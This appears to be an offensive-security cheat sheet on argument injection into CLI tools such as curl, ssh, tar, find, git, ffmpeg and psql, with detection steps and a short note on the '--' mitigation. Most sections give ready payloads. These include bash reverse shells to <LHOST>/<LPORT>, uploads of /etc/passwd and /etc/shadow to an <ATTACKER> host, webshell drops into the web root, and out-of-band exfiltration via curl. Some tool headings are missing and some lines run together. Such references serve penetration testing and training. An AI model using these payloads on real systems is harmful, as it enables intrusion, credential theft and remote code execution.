Argument injection
The application calls a fixed binary safely (no shell, no concatenation), but you control one or more arguments. You can’t add new commands, but you can add new flags to the existing command - and many CLIs have flags that read files, write files, fetch URLs, or execute code.
# curl: read local file via -o, send via --upload-file, fetch URL of choice;curl <ATTACKER>/exfil --upload-file /etc/passwd
# ssh: -o ProxyCommand executes arbitrary commandssh -o ProxyCommand="bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" x
# tar: --checkpoint-action=exec= runs arbitrary commandtar -cf /tmp/x.tar --checkpoint=1 --checkpoint-action=exec=id /tmp/anything
# find: -exec runs arbitrary command per matchfind /tmp -exec id {} \;Success indicator: the original binary executes, but with a side effect from your injected flag (file read, callback, RCE).
Why this is its own bug class
Section titled “Why this is its own bug class”Command injection requires concatenation into a shell. Argument injection happens when the developer was trying to be safe:
# Developer-thinks-this-is-safe patternsubprocess.run(['curl', user_input]) # no shell=True, no concatenation// Same trap, PHPescapeshellarg($url); // escapes shell metachars$cmd = "curl " . escapeshellarg($url);system($cmd);Neither is exploitable to command injection - there’s no separator that survives. But if user_input starts with -, it’s a flag, not a URL. curl --output /tmp/x http://evil/payload writes a file. curl -K /etc/passwd reads a config file. The binary is doing exactly what it’s told.
The bug is in the developer’s mental model: “I sanitized for shell, so it’s safe.” Argument injection is the bug class that breaks that assumption.
How to find it
Section titled “How to find it”-
Identify the binary. Application calls
curl,ssh,git,tar,convert,ffmpeg,wget,find,mv,cp,gzip,zip,unzip,gpg,openssl,mysql,psql,pg_dump,mysqldump,nmap,ping,traceroute,nslookup,dig. Anything where one parameter feeds into argv. -
Send a value starting with
-. A URL, hostname, filename, or path that begins with-will be parsed as a flag. If the response changes (error, different output, unexpected file appears), the value reaches argv unchanged. -
Find the right flag. Read the man page. Look for flags that: write files (
-o,--output), read files (-K,--config,-T,--upload-file), execute commands (-e,--exec,--use-compress-program), or load network resources. -
Confirm via side effect. OOB callback (
curl <ATTACKER>) or file write (-o /tmp/canary) - same techniques as blind cmdi.
High-value targets
Section titled “High-value targets”The most common target. Many features, many of them dangerous when an attacker picks the URL.
| Flag | Effect | Payload |
|---|---|---|
-o <FILE> | Write to local file | -o /var/www/html/shell.php http://<ATTACKER>/shell.php |
-O | Write to filename from URL | -O http://<ATTACKER>/anything |
-K <FILE> | Load config file (parses local file as curl config) | -K /etc/passwd |
-T <FILE> | Upload local file via PUT | -T /etc/passwd http://<ATTACKER>/ |
--upload-file <FILE> | Same as -T | --upload-file /etc/shadow http://<ATTACKER>/ |
--data-binary @<FILE> | Send local file as POST body | --data-binary @/etc/passwd http://<ATTACKER>/ |
--proto-default file | Force file:// protocol | (with -o /tmp/x extracts files) |
Example exploitation when the application runs curl <user-input>:
# Exfil /etc/passwd via PUT to your listener--upload-file /etc/passwd http://<ATTACKER>/p# Drop a webshell in the docroot-o /var/www/html/s.php http://<ATTACKER>/s.php# Read a local file by abusing config parser-K /etc/passwd# Exits with parse errors that include file content in error messages-o accepts arbitrary OpenSSH config directives, including ones that execute commands.
| Directive | Effect |
|---|---|
ProxyCommand | Runs the command before connecting; arbitrary RCE |
LocalCommand (with PermitLocalCommand=yes) | Runs after auth |
Payload when application runs ssh <user-input>:
-o ProxyCommand="bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" anyhostThe anyhost argument is required (ssh demands a target); the ProxyCommand fires before any connection attempt, so the host doesn’t need to exist.
--checkpoint-action=exec= runs an arbitrary command after each checkpoint.
--checkpoint=1 --checkpoint-action=exec=id /tmp/decoyRequires that you can pass at least one path-like argument (/tmp/decoy). Some tar versions also require a mode flag (-cf /dev/null):
-cf /dev/null --checkpoint=1 --checkpoint-action=exec="bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" /tmp/decoyThe classic. -exec runs a command per match.
. -exec id \;. -exec bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' \;The \; terminates the -exec. URL-encode as %5C%3B if the application URL-decodes once.
Git’s hooks and config can execute commands during innocuous operations.
# git clone with --upload-pack runs the value as a command on `git ls-remote` / `git fetch`clone --upload-pack="bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" 'ssh://x/x'The CVE-2017-1000117 family (ssh://-URL with -oProxyCommand) was patched but variants still surface. Worth testing.
ImageMagick (convert, magick)
Section titled “ImageMagick (convert, magick)”Historically catastrophic (ImageTragick / CVE-2016-3714). Modern versions sandbox most issues, but check anyway:
# Old MVG/MSL/HTTPS coder bugs - patched but worth probing'http://<ATTACKER>/x.png|id''msl:/tmp/exploit.msl'If the application runs convert <user-input> output.png, an input filename starting with | triggered shell exec on old versions.
ffmpeg
Section titled “ffmpeg”# HLS playlist with file:// - read local files-i 'file:///etc/passwd' -c copy /tmp/x.txtIf you control input, ffmpeg’s protocol parser opens files, http, concat lists. Various CVEs in this space.
-O /var/www/html/s.php http://<ATTACKER>/s.php--use-askpass=/usr/bin/id # CVE-2024 family - runs the askpass binarygzip / zip / unzip / 7z
Section titled “gzip / zip / unzip / 7z”# zip with --unzip-command (rare)# 7z with @listfile reads file content as filename listThese are situational; the binaries are less commonly invoked from web apps.
mysql / psql / mysqldump / pg_dump
Section titled “mysql / psql / mysqldump / pg_dump”# psql -c reads a command - RCE if you control the -c value-c '\! id' # \! shells out in psqlThe \! meta-command in psql runs shell commands. mysql client’s --init-command plus -e are similar.
Less obvious targets
Section titled “Less obvious targets”mv,cp---target-directory=,--reflinkflags can be abused in race conditionsgpg---use-agent,--exec-path- load attacker-controlled binariesopenssl-enc -in <FILE>reads files; useful for exfil through error messages
Detection methodology
Section titled “Detection methodology”-
Send
--helpor--version. If the response changes to look like CLI help text, you’re hitting argv directly. Almost certain argument injection. -
Send a value with leading
-. If the application errors with “unknown option,” your value is being parsed as a flag. -
Send
--config /etc/passwdor-K /etc/passwd. For curl/wget specifically. Errors that quote file contents = file read primitive. -
Send
--output /tmp/canary. If/tmp/canaryappears (read it via another endpoint or via cmdi if you also have it), you have file write. -
Send
--exec idor-exec id \;. For find/tar. Look foruid=in any output channel.
Argument-vs-command separator (--)
Section titled “Argument-vs-command separator (--)”Many binaries treat -- as “end of flags; everything after is positional.” Defenders sometimes inject -- before user input as a fix:
curl -- <user-input> # user-input cannot start with - nowThis does mitigate argument injection for that specific call. But many binaries don’t honor --, and many call sites forget it. Test for whether -- is present by sending --help and seeing whether help text appears (no -- injected) or the literal --help is treated as a URL/filename (-- injected upstream).
Common failure modes
Section titled “Common failure modes”- Value does start with
-but doesn’t reach argv. Application strips leading-, or wraps in quotes that survive argv splitting. Test by sending-alone and looking for behavior change. - Binary doesn’t have the flag you want. Check the exact version.
curl --upload-fileexists in modern versions; older builds may lack it.man curlon a similar system to see what’s available. - Flag exists but binary refuses to run with it. Some flags require config (
PermitLocalCommand=yesfor ssh’sLocalCommand). Use a flag that doesn’t need server-side cooperation. - Output is suppressed. You hit RCE via
find -exec idbutid’s output goes to a black hole. Wrap with OOB:-exec curl <ATTACKER>/$(id) \;. - Multiple arguments needed for the exploit. Application provides only one user-controlled slot. You need to fit the whole exploit into one argv element. Quote-wrapped flags (
-o/tmp/x, no space) sometimes work; flags with=(--output=/tmp/x) usually do. --end-of-flags marker present. Application callsbinary -- <input>. Argument injection mitigated for this slot. Look for other slots, or different binary.
Argument injection is underrepresented in references - it sits in a gap where command-injection scanners don’t trigger (no shell metacharacters) and parameter-validation tools don’t trigger (input is alphanumeric plus -). Real-world frequency is higher than the literature suggests, especially in CI/CD systems, file processing pipelines, and admin panels that wrap CLI tools. When you see an application invoking a CLI binary, always test for argument injection before assuming the developer’s escapeshellarg/shell=False defense holds.
The technique scales: every additional CLI binary in the application’s invocation graph is another potential argument-injection surface. A dashboard that renders Markdown via pandoc, generates PDFs via wkhtmltopdf, archives logs via tar, and pushes backups via rsync has four argument-injection candidates, each with its own flag vocabulary.